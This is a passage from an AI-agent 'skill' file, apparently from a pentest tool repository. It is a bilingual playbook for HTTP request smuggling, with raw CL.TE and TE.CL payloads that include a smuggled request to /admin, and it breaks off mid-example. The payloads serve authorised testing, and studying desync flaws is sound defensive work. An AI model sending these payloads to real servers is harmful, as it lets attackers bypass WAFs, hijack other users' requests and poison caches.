request-smuggling

Files (1)

• SKILL.md

SKILL.md (first lines)

---
name: request-smuggling
description: >-
  HTTP request smuggling and desynchronization testing. Use when front proxies,
  CDNs, or load balancers disagree with the origin on message framing
  (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/1 translation, or when
  exploring client-side desync via browser fetch pipelines.
---

# SKILL: HTTP Request Smuggling — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser `fetch` pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is **message boundary disagreement** between hops.

中文路由提示：当怀疑 CDN/反代与源站对「请求结束位置」理解不一致、或 H2 降级到 H1 时出现异常拼接时，加载本 skill。

## 0. QUICK START

### CL.TE first probe（前端信 CL、后端信分块）

前提：前端优先 `Content-Length`，后端优先 `Transfer-Encoding: chunked`。用极短 CL 让前端吞掉「假结束」，后端仍按分块解析，余量进入下一请求。

```http
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

- 前端按 `Content-Length: 13` 只读 13 字节（即 `0\r\n\r\nSMUGGLED` 共 13 字节），认为请求结束。
- 后端按 chunked：读到 `0` 结束块后，将 **`SMUGGLED` 及之后** 当作**下一条请求**的起始字节流。

### TE.CL first probe（前端信分块、后端信 CL）

前提：前端解析 chunked，后端只看 `Content-Length`。令 **CL 恰好等于分块长度行的字节数**（常见为 `4`：两位十六进制长度 + `\r\n`），后端只吞长度行，余下分块数据与结束符留在连接上，供与后续报文拼接。

块内嵌第二请求（行末均为 **CRLF**；`35` 为十六进制块长 = 53 字节）：

```http
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0


```

Wire 上块体须严格 53 字节；若改路径/头，重算块长并同步修改十六进制长度行。

### Safety note

仅在**授权范围**内测试；并发 smuggling 可能导致连接池污染、缓存错乱或对其它租户流量造成影响。优先隔离环境或低流量窗口。

---

## 1. CORE CONCEPT

**定义**：两个（或以上）HTTP 处理实体对**同一条 TCP/TLS 流**中「何处是第一条请求结束、何处是第二条请求开始」的判定不一致，导致攻击者在一个「逻辑请求」里夹带**部分或完整**的另一条请求。

```
  Client          Front (proxy/WAF)              Back (origin)
     |                     |                            |
     |==== Request A+B ===>|                            |
     |                     | parses boundary #1         | parses boundary #2
     |                     |         \                  |         /
     |                     |          different split points
     |                     |                            |
     v                     v                            v
                   Request A (seen)              Request A' + smuggled B
```

**与 CRLF 注入的区别**：CRLF 多在**响应**或**头部行**注入；smuggling 针对 **RFC 7230 消息分帧**（`Content-Length` / `chunked`）在实现之间的差异。

**高价值后果**：绕过 WAF 规则（走私体不在前端的「请求」里）、劫持同源连接上其它用户的请求（请求队列污染）、缓存投毒辅助、认证边界错乱。

---

## 2. CL.TE VULNERABILITIES

**模式**：前端以 **`Content-Length`** 为准；后端以 **`Transfer-Encoding: chunked`** 为准。

**精确示例**（与 §0 一致）：`Content-Length: 13` 与 `Transfer-Encoding: chunked` 同时存在，体为：

```text
0\r\n\r\nSMUGGLED
```

字节计数：`0` + `\r\n` + `\r\n` + `SMUGGLED` = 13。

**后端视角**：chunked 流在 `0\r\n\r\n` 处结束；`SMUGGLED` 若符合 `METHOD SP` 或合法起始，则成为**走私请求行前缀**。

**调参**：若目标对重复头、大小写、空格敏感，在保持语义前提下微调 `Transfer-Encoding` 变体（见 §4）以匹配「前端忽略 TE、后端执行 TE」的组合。

---

## 3. TE.CL VULNERABILITIES

**模式**：前端解析 **chunked**；后端仅看 **`Content-Length`**（或过短 CL）。

**意图**：前端把整块恶意字节流当作 body；后端只读 CL 指定长度，剩余字节留在缓冲区，与后续合法请求拼接。

**完整 TE.CL 嵌入第二请求**（与 §0 同一族；`Content-Length: 4` + 首块长度行 `35\r\n`）：

```http
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC